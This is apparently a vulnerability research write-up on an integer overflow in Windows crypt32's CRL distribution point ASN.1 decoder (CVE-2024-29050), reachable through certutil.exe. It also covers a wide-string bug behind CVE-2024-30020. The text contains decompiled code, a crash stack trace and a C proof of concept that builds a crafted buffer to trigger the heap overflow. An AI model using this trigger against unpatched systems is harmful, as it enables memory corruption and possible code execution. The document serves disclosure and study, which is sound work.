Windows Cryptographic Services RCE (CVE-2024-29050)
Introduction to Windows Cryptographic Services RCE CVE-2024-29050
While digging into secure schannel, I found that there were crypt32!CryptDecodeObject functions being called later to decode certificate-related operations. So I analyzed it in depth and found that there was an obvious integer overflow problem. Later, I found that there was a length limit. After traversing all the decoding operations, I found an integer overflow that could be successfully triggered. Let's take a look together.
Let's first understand CryptDecodeObject function interface.
BOOL CryptDecodeObject( [in] DWORD dwCertEncodingType, [in] LPCSTR lpszStructType, [in] const BYTE *pbEncoded, [in] DWORD cbEncoded, [in] DWORD dwFlags, [out] void *pvStructInfo, [in, out] DWORD *pcbStructInfo );
[in] dwCertEncodingType
There are two types of encoding, which can be ORed together.
- X509_ASN_ENCODING
- PKCS_7_ASN_ENCODING
[in] lpszStructType
OID, which can be a number or a string. See Constants for CryptEncodeObject and CryptDecodeObject .
Call relationship path example:
crypt32!CryptDecodeObject(X509_ASN_ENCODING( 1 ), X509_ECC_SIGNATURE( 47 ), ...) CryptDecodeObjectEx Asn1X509DHParametersDecodeEx Asn1InfoDecodeAndAllocEx msasn1!ASN1_Decode // Check len, cannot exceed 0x61a8000 (100M) crypto32!ASN1Dec_DHParameters // label1 .... |
Different oidslabel1
will have different calling functions. See the end of the article for a list of specific functions.
The function in question exists inASN1Dec_CRLDistributionPoints
__int64 __fastcall ASN1Dec_CRLDistributionPoints(__int64 a1, __int64 a2, unsigned int *a3) { ...... if ( !(unsigned int)ASN1BERDecExplicitTag(a1, a2, &v23, &v25) ) return 0i64; v6 = 0; *a3 = 0; *((_QWORD *)a3 + 1) = 0i64; while ( 1 ) { if ( !(unsigned int)ASN1BERDecNotEndOfContents(v23, v25) ) { LOBYTE(v3) = (unsigned int)ASN1BERDecEndOfContents(a1, v23, v25) != 0; return v3; } if ( !(unsigned int)ASN1BERDecPeekTag(v23, &v21) ) return 0i64; if ( *a3 >= v6 ) { if ( v6 ) v6 *= 2; else v6 = 16; v7 = ASN1DecRealloc(v23, *((_QWORD *)a3 + 1), v6 << 6);// label2 if ( !v7 ) return 0i64; *((_QWORD *)a3 + 1) = v7; } ...... v11 = *((_QWORD *)a3 + 1) + (v10 << 6); *a3 = *a3 + 1; ...... } ...... } |
label2
Position, if v6 is greater than 0x20,0000
, 2*v6*0x40 => 0x1,0000,0000
and ASN1DecRealloc
the third parameter of the function is an int type, the integer is truncated, and a very small memory is requested, resulting in an overflow later. Because the content can be controlled, the amount of overflow is roughly controllable, so it is still quite exploitable. The only problem is that this OID is 0x23, and it is difficult to find a service that supports it in Windows. By searching all CryptDecodeObject
dll and exe files that have imported the function one by one, we finally found a tool that uses it, which is certutil.exe
.
The trigger stack backtrace is:
00 0000004a`b0c7e680 00007ffd`e8fa5b1b ucrtbase!memset_repstos+0x9 01 0000004a`b0c7e690 00007ffd`e8fa5942 CRYPT32!Asn1X509CrlDistPointsDecodeExCallback+0x77 02 0000004a`b0c7e700 00007ffd`e8f568f5 CRYPT32!Asn1X509CrlDistPointsDecodeEx+0xb2 03 0000004a`b0c7e780 00007ffd`e8f564de CRYPT32!CryptDecodeObjectEx+0x145 04 0000004a`b0c7e830 00007ffd`e2b2185a CRYPT32!CryptDecodeObject+0x2e 05 0000004a`b0c7e880 00007ffd`e2b2096a cryptnet!ObjectContextGetRawUrlData+0x21a 06 0000004a`b0c7e9c0 00007ffd`e2b11e2a cryptnet!CertificateCrlDistPointGetObjectUrl+0x7a 07 0000004a`b0c7eaf0 00007ffd`e2b119fc cryptnet!CTVOAgent::GetTimeValidObject+0x41a 08 0000004a`b0c7ed30 00007ffd`e2b27cff cryptnet!CrlFromCertGetTimeValidObject+0x5c 09 0000004a`b0c7eda0 00007ffd`e2b274fb cryptnet!CryptGetTimeValidObject+0xbf 0a 0000004a`b0c7ee20 00007ffd`e2b26213 cryptnet!GetTimeValidCrl+0x38b 0b 0000004a`b0c7ef50 00007ffd`e8f475be cryptnet!MicrosoftCertDllVerifyRevocation+0x213 0c 0000004a`b0c7f0b0 00007ffd`e8f46785 CRYPT32!VerifyDefaultRevocation+0x552 0d 0000004a`b0c7f1d0 00007ff7`8d71812f CRYPT32!CertVerifyRevocation+0x115 0e 0000004a`b0c7f2d0 00007ff7`8d717dba certutil!VerifyRevocation+0xd3 0f 0000004a`b0c7f380 00007ff7`8d7164f7 certutil!VerifyCertAgainstParent+0x82e 10 0000004a`b0c7f490 00007ff7`8d71bc70 certutil!VerifyCRLAgainstCACert+0x647 11 0000004a`b0c7f5a0 00007ff7`8d6b3849 certutil!verbVerifyCert+0x1c0 12 0000004a`b0c7f640 00007ff7`8d78630c certutil!ArgvMain+0x9ed 13 0000004a`b0c7f870 00007ff7`8d785ecc certutil!myPreMain+0x41c 14 0000004a`b0c7f9c0 00007ffd`eadea1f8 certutil!myMainWndProc+0x3c 15 0000004a`b0c7f9f0 00007ffd`eaded038 USER32!UserCallWinProcCheckWow+0x398 16 0000004a`b0c7fb40 00007ff7`8d786575 USER32!DispatchMessageWorker+0x378 17 0000004a`b0c7fbc0 00007ff7`8d6a3d96 certutil!wWinMain+0x1ad 18 0000004a`b0c7fcb0 00007ffd`e9711f87 certutil!__wmainCRTStartup+0x1d6 19 0000004a`b0c7fd70 00007ffd`eb97b5b0 KERNEL32!BaseThreadInitThunk+0x17 1a 0000004a`b0c7fda0 00000000`00000000 ntdll!RtlUserThreadStart+0x20 |
CVE-2024-30020 occurs in Asn1X509GetPKIFreeText
the function. At first I didn’t understand where the problem was. Let’s take a look at the code:
for ( i = ( const void **)*((_QWORD *)a1 + 1 ); v5; --v5 ) { v12 = *( unsigned int *)i; v13 = 2 * v12 + 9 ; // Post-patch code if ( !( unsigned int )EvaluateCurrentState(( const struct reg_FeatureDescriptor *)a1) ) // Post-patch code v13 = v12 + 9 ; // Pre-patch code v14 = v13 & 0xFFFFFFF8 ; v8 = *a5 - v14 < 0 ; *a5 -= v14; if ( !v8 ) { *v9 = (LPWSTR)*a4; if ( (_DWORD)v12 ) { v15 = EvaluateCurrentState(( const struct reg_FeatureDescriptor *)a1); // Post-patch code v16 = v12; if ( v15 ) v16 = 2 * v12; // patched code memcpy_0(*v9, i[ 1 ], v16); } (*v9)[v12] = 0 ; *a4 = (LPWSTR *)(( char *)*a4 + v14); } ++v9; i += 2 ; } |
So, its patch is to calculate the size in wide bytes when calculating the size. At first I didn't understand what such a patch was doing.
First, *a5
it is subtracting v14
and *a4
adding v14
, so the buffer and size are synchronized, and there is no judgment problem caused by asynchrony.
Then, v12
the value cannot be too large, so it will not cause integer overflow. Then , v14
it must be greater than or equal to v12+8
, so if(!v8)
there is no problem with this conditional judgment. There is no problem with the memcpy operation either.
Then the problem must be that (*v9)[v12] = 0;
, in a simple understanding, it should only occupy 1 byte, which is less than 8
, so it should also be less than v14
the range of , how can it cause a problem??
After carefully looking at the assembly, mov [rax+rsi*2], dx
the problem became clear at a glance, that is, it is being treated as a wide string!!!
At this moment, *v9 = (LPWSTR)*a4;
this line became extremely eye-catching.
Therefore, when auditing, you still need to pay more attention to type conversion. If there is a forced type conversion, you must pay more attention and don't be confused by IDA.
POC
typedef unsigned int u32; typedef unsigned char u8; int main() { unsigned char* buf = (char*)calloc(1, MAX_SIZE); HCERTSTORE hStore = NULL; PCCERT_CONTEXT pCert = NULL; BCRYPT_KEY_HANDLE hKey = NULL; DWORD pcbStructInfo[4]; pcbStructInfo[0] = 0; // explicit tag int i = 0; int j; buf[i++] = 0x20|0x10; buf[i++] = 0x84; *(u32*)(buf + i) = ntohl(MAX_SIZE - 0x30 + 2); i += 4; for (j = 0; j < (MAX_SIZE-0x30+2) /2; j++) { // ASN1BERDecEoid buf[i++] = 0x20|0x10; buf[i++] = 0; }// "1.1." 4bytes, CryptDecodeObject(1, (LPCSTR)0x23, (const BYTE*)buf, MAX_SIZE-0x10, 0, 0, pcbStructInfo); return 0; } |
ASN1Dec List
0 ASN1Dec_EncodedObjectID 1800a02b0 1 ASN1Dec_Bits 180095e20 2 ASN1Dec_IntegerType 1800a27c0 3 ASN1Dec_HugeIntegerType 1800a3d00 4 ASN1Dec_OctetStringType_0 1800a36e0 5 ASN1Dec_EnumeratedType 1800ba230 6 ASN1Dec_UtcTime 1800a4aa0 7 ASN1Dec_AnyString 180077ce0 8 ASN1Dec_AlgorithmIdentifier 180076ff0 9 ASN1Dec_Name 180077f20 10 ASN1Dec_Attributes 180077a40 11 ASN1Dec_RSAPublicKey 1800877f0 12 ASN1Dec_RSAPublicKey2 18008e170 13 ASN1Dec_DSSParameters 1800b2ba0 14 ASN1Dec_RSAPublicKey_0 1800e8ea0 15 ASN1Dec_DHParameters 1800a01d0 16 ASN1Dec_RC2CBCParameters 1800eb260 17 ASN1Dec_SMIMECapabilities 1800eb8d0 18 ASN1Dec_SubjectPublicKeyInfo 180084210 19 ASN1Dec_ChoiceOfTime 1800770d0 20 ASN1Dec_Extensions 1800775d0 21 ASN1Dec_SignedContent 1800871d0 22 ASN1Dec_CertificationRequestInfo 1800e7f60 23 ASN1Dec_CertificationRequestInfoDecode 1800b3af0 24 ASN1Dec_KeygenRequestInfo 1800e9610 25 ASN1Dec_AuthorityKeyId 1800a84e0 26 ASN1Dec_AltNames 1800790c0 27 ASN1Dec_EDIPartyName 1800e9030 28 ASN1Dec_BasicConstraints2 18008ac60 29 ASN1Dec_CertificatePolicies 180081880 30 ASN1Dec_CertificatePolicies95 1800e7e40 31 ASN1Dec_AuthorityKeyId2 180078c40 32 ASN1Dec_AuthorityInfoAccess 1800788e0 33 ASN1Dec_CRLDistributionPoints 180078d90 34 ASN1Dec_ContentInfo_0 18009fe00 35 ASN1Dec_SeqOfAny 180079740 36 ASN1Dec_TimeStampRequest 1800ec370 37 ASN1Dec_ContentInfoOTS 1800e8730 38 ASN1Dec_TimeStampRequestOTS 1800ec450 39 ASN1Dec_EnhancedKeyUsage 180083970 40 ASN1Dec_EnrollmentNameValuePair 1800e9310 41 ASN1Dec_CSPProvider 1800e7a20 42 ASN1Dec_CertificatePair 1800aadd0 43 ASN1Dec_IssuingDistributionPoint 1800784d0 44 ASN1Dec_PolicyMappings 1800aca70 45 ASN1Dec_PolicyConstraints 1800b3e30 46 ASN1Dec_CmcAddExtensions 1800e81f0 47 ASN1Dec_CmcAddAttributes 1800e8130 48 ASN1Dec_CertificateTemplate 1800a3390 49 ASN1Dec_OcspBasicResponse 180076130 50 ASN1Dec_BiometricSyntax 1800e77e0 51 ASN1Dec_Attribute 1800853a0 52 ASN1Dec_X942DhParameters 1800ecb30 53 ASN1Dec_X942DhOtherInfo 1800ec9b0 54 ASN1Dec_CertificateToBeSigned 18007d6a0 55 ASN1Dec_CertificateRevocationListToBeSigned 180075f30 56 ASN1Dec_KeyAttributes 1800e93d0 57 ASN1Dec_KeyUsageRestriction 1800e9510 58 ASN1Dec_BasicConstraints 1800b4230 59 ASN1Dec_UserNotice 1800ec6b0 60 ASN1Dec_VerisignQualifier1 1800ec7b0 61 ASN1Dec_ContentInfoSeqOfAny 1800e8850 62 ASN1Dec_CertificateTrustList 180076c10 63 ASN1Dec_NameConstraints 1800783e0 64 ASN1Dec_CrossCertDistPoints 1800e8dd0 65 ASN1Dec_CmcData 1800e82b0 66 ASN1Dec_CmcResponseBody 1800e8380 67 ASN1Dec_CmcStatusInfo 1800e8430 68 ASN1Dec_OcspTbsRequest 1800a8b90 69 ASN1Dec_OcspResponse 180095c50 70 ASN1Dec_OcspBasicResponseData 180076280 71 ASN1Dec_RsaSsaPssParameters 1800eb630 72 ASN1Dec_RsaesOaepParameters 1800b0010 73 ASN1Dec_OcspRequest 1800aeba0 74 ASN1Dec_LogotypeExtn 1800e9b90 75 ASN1Dec_EccCmsSharedInfo 1800e9190 76 ASN1Dec_TimeStampReq 1800ec1c0 77 ASN1Dec_TSTInfo 1800768e0 78 ASN1Dec_TimeStampResp 1800ec530 79 ASN1Dec_ChoiceOfCertOrCrl 1800e8040 80 ASN1Dec_CertificateBundle 1800e7d40 81 ASN1Dec_RSAPrivateKey_0 1800eb330 82 ASN1Dec_SubjectDirectoryAttributes 1800ebac0 83 ASN1Dec_SupportedAlgorithm 1800ebd00 84 ASN1Dec_TPMSpecification 1800ebe10 85 ASN1Dec_CRLEntry 180077460 |